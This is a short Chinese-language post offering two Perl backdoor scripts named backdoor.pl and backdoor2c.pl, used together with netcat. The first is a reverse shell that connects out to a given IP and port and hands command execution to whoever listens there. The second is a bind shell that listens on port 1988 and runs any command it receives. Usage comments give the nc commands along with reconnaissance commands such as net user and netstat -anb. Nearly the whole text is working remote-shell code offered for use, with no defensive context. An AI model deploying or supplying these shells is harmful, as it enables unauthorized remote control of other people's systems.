by 小杰 都是使用nc监听

 反向连接代码:

#!/usr/bin/perl#usage:#nc -vv -l -p PORT(default 1988) on your local system first,then#Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)#Type 'exit' to exit or press Enter to gain shell when u under the 'console'.#nc -vv -l -p 1988#perl backdoor.pl 127.0.0.1 1988#use strict;use Socket;use IO::Socket;use Cwd;use IO::Handle;my $remote   = $ARGV[0] || "127.0.0.1";my $remote_port = $ARGV[1] || 1988;my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );my $path = cwd();$ARGC = @ARGV;if ( $ARGV[0] !~ /-/ ) {  socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') )   or die "socket error: ";  STDOUT->autoflush(1);  SOCKET->autoflush(1);  $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!";  open STDIN, ">&SOCKET";  open STDOUT, ">&SOCKET";  open STDERR, ">&SOCKET";  print "You are in $path/n";  print "Welcome to use./n";  print "console>/n";  while (<STDIN>) {    chomp;    if ( lc($_) eq 'exit' ) {      print " Bye Bye!";      exit;    }    $msg = system($_);    if ($msg) {      print STDOUT "/n$msg/n";      print STDOUT "console>";    }    else {      print "console>";    }  }  close SOCKET;  exit;}

正向连接代码: 

#!/usr/bin/perl#ActivePerl 5.8.8 Build 822#usage:#first:perl backdoor2c.pl#second:nc -vv 127.0.0.1 1988#net user#ipconfig /all#netstat -anbuse IO::Socket;$port = "1988";my $socket = new IO::Socket::INET(  'Localhost' => '127.0.0.1',  'LocalPort' => $port,  'Listen'  => 1,  'Proto'   => 'tcp',  'Reuse'   => 1);die "Reason: $!" unless $socket;while ( my $new_socket = $socket->accept() ) {  while ( my $buffer = <$new_socket> ) {    if ( $buffer =~ /exit/ ) { exit; }    $res_msg = `$buffer`;    print $new_socket "$res_msg/ncmd>";  }}
